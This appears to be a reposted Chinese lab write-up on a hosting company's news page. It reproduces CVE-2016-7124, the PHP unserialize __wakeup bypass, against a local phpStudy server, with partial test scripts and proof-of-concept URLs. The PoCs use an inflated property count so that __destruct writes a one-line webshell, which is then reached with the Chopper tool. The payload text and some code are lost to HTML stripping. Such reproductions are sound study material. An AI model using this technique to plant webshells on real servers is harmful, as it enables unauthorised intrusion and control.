关于我们

质量为本、客户为根、勇于拼搏、务实创新

< 返回新闻公共列表

云南大王-CVE

发布时间:2020-04-16 00:00:00
CVE-2016-7124php反序列化漏洞复现 0X00漏洞原因 如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行 0X01漏洞影响版本 PHP5 < 5.6.25 PHP7 < 7.0.10 0X02漏洞详情 PHP(PHP:HypertextPreprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。PHP5.6.25之前版本和7.0.10之前的7.x版本中的ext/standard/var_unserializer.c文件存在安全漏洞,该漏洞源于程序没有正确处理无效的对象。远程攻击者可借助特制的序列化数据利用该漏洞造成拒绝服务。 0X03漏洞复现环境搭建 使用Windows10操作系统,搭建phpStudy一键集成环境搭建web服务。 这里需要将php版本设置为有漏洞的版本。 我这里使用的是php5.4.45+apache+mysql一键集成环境 0X04漏洞复现 搭建好后,我们首先需要编写测试脚本 测试脚本如下: "; } public function __destruct(){ echo "this is __destruct
"; } } $str = $_GET["s"]; @$un_str = unserialize($str); echo $un_str->name."
"; ?> 脚本上标明接收s参数,对其反序列化后输出name属性的值。 编写poc访问该脚本: Poc为http://127.0.0.1/test2.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";} 访问结果如下图所示: 根据访问结果可以看到反序列化之前先调用了__wakeup 方法,再调用_destruct 方法。 将传入的序列化数据的对象变量个数由1更改为2,页面只执行了__destruct方法,而且没有输出name,是由于反序列化数据时失败无法创建对象。 修改测试脚本如下: "; foreach(get_object_vars($this) as $k => $v){ $this->$k = null; } } public function __destruct(){ echo "this is __destruct
"; $fp = fopen("D:\\phpstudy\\PHPTutorial\\WWW\\2333.php","w"); fputs($fp,$this->name); fclose($fp); } } $str = $_GET["s"]; @$un_str = unserialize($str); echo $un_str->name."
"; ?> 构造Poc进行写入一句话木马操作。 Poc为:http://127.0.0.1/test3.php?s=O:4:"test":1:{s:4:"name";s:29:"";} 执行后结果如下图所示: 在对应的文件夹找到刚刚写入的文件,发现文件中内容为空,没有一句话木马,说明写入失败。 失败原因为:__destruct方法在调用时将name参数写入wcute.php文件但是由于__wakeup方法清除了对象属性,所以在调用__destruct时已经没有了name属性,因此文件将会写入失败。 将Poc中对象属性个数改为2继续尝试 Poc为:http://127.0.0.1/test3.php?s=O:4:"test":2:{s:4:"name";s:29:"";} 执行后如下图所示:   在对应的文件夹找到该文件发现文件中被写入了一句话木马。 如图所示: 使用菜刀连接发现连接成功,如下图所示

相关阅读

关于云计算的概念计算机网络技术基础知识云计算的优点和缺点服务器搭建计算机网络安全常见的危险因素有哪些?什么是内容分发网络(CDN)?云南服务器搭建和数据备份,恢复云南云服务器的三大作用人工智能AI初认识云计算服务的6个优势云南服务器托管有哪些注意事项Tomcat的特点云计算的三个优点选取小程序服务商时的注意事项不同数据库的不同区别什么是VPS主机它的优势是什么?你知道5G的优点和缺点吗?云南三级分销商城开发的目的和对企业的价值云南网站优化的3个方面和网页的优化我们晋级拉!!!云南网站链接维护的具体方法云南网站应该如何做优化云南网站维护的主要内容云南云服务器和虚拟主机的操作区别云服务器部署和注意点云南服务网器托管应该选择怎样的机房云南虚拟建设网站主机的优点和缺点云服务器和物理服务器的区别云服务器有哪些优势C# List用法 List介绍C#和Java有什么不同PHP的优点和缺点智慧新餐饮和传统餐饮的区别云数据库对比传统数据库有哪些优点裸金属服务器是什么它的作用是什么白盒测试的特点js中添加scriptjs中[]、{}、()的用法和区别php 字符串的整型转换ipa如何安装到苹果手机邓白氏码是什么?iOS开发者账号到期续费教程在C#中有哪些引用类型和值类型小程序搭建时需要准备些什么云数据库对比传统数据库的优势什么样的企业适合SEMjs中的常见错误C#数据类型转换字符串与数值之间的转换C#的几种循环遍历方式物联网是什么它和互联网又有什么区别?云南网站建设时应该注意些什么云计算是什么?它能干些什么?展望未来5G会给我们的生活带来哪些影响C#常见的几种报错类别C#的学习流程有哪些dedecms 绑定二级域名的正确方法SEM是什么它和SEO之间是什么关系?云南新餐饮料模式是如何运行的?云南网站建设初期应该注意哪些问题云南网站建设中原创文章对网站起什么作用Javascript中如何中断forEach循环云南零售小程序前景怎么样?如何优化WEB应用数据库访问慢的问题?Javascript中用let和var声明变量的区别是什么redis 的主从复制和哨兵?递归和迭代有何区别?<input> 标签的 readonly 属性怎么用?云南网站建设中网页版商城如何保证网站安全云南企业官网如何推广云南企业网站建设为什么把文章类型的栏目排在前面云南餐饮小程序能带给餐饮业什么?云南网站建设需要注意什么地方云南云服务器配置如何选择合适的云南网站建设和网站设计有何区别?云南网站建设—企业官网的好处在哪?云南做小程序的优势在哪?为什么建议做小程序?网站为什么要配置ssl证书?网站为什么要做seo,做seo有什么好处?微信小程序_企业付款到零钱 API 开发如何利用缓存提高asp.net网站访问速度中小型企业如何选择服务器配置?如何优化中小型企业网站C#.net做网站后台 需要记录日志基于asp.net企业门户网站设计霓裳民族服装seo优化分析建议Javascript的函数封装认识及使用Ajax请求中data与后端的交互有哪几种方法JavaScript如何实现组合模式???SQL之子查询的基本用法有哪些?什么是静态测试、动态测试、黑盒测试、白盒测试、α测试 β测试?C# 引入委托的目的是什么c# 委托的本质是什么C# DataGridView添加新行的2个方法C#支付宝扫码支付代码完整版c# MVC 微信支付教程系列之扫码支付代码实例Redis基础通用操作指令有哪些?String、StringBuffer和StringBuilder的各自用法常见的一些Dos命令有哪些?如何在C#中复制一个Windows窗体类前端js中的运算符的种类,=、==与===的有何区别?网站前端怎么设置页面禁止转载?
/template/Home/Zkeys/PC/Static